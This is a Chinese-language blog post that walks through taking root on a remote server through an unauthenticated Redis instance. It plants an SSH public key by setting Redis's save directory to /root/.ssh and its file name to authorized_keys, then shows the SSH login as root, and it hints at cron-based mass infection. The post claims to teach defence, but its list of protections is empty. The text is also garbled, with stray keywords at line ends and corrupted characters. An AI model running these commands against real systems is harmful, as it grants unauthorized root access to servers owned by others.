筆者也曾經被挖礦病毒侵襲過,灰常難受,可是其實你只要瞭解入侵的手段就很是好防範了,今天咱們就演示一下若是經過Redis進行提權獲取遠程服務器的Root用戶。redis
條件一:你首先要有一個Redis,而且咱們要知道他的端口【默認6379】;shell
條件二:Redis的密碼不能過於複雜,或者沒有密碼;c#
條件三:啓動Redis的用戶最好是Root用戶,這樣破壞性更大;服務器
經過ssh-keygen生成一對,固然可使用已經有的都沒有問題。ssh
root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
接下來經過公鑰生成攻擊鍵值加密
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
內容以下code
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
這裏先後增長兩個換行符是爲了防止數據鏈接在一塊兒形成失效問題。ci
操做以下:get
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OK
登陸Redis進行檢查,是否已經寫入進Redis中。qt
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
且看以下操做
192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exit
這個時候,咱們登陸遠程主機看下效果。
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~# w
OK到這裏咱們已經提權成功了,那咱們看下導出文件究竟是什麼呢?其實就是Redis的保存文件形式罷了,有興趣能夠本身打開看看,這裏再也不展現。
這個漏洞威力仍是挺大的,咱們如今只是拿到主機權限一個而已,加入放到定時任務執行一些腳本而後在批量感染呢?
防範的技巧以下:
作到如上三點防範Redis挖礦,沒問題的。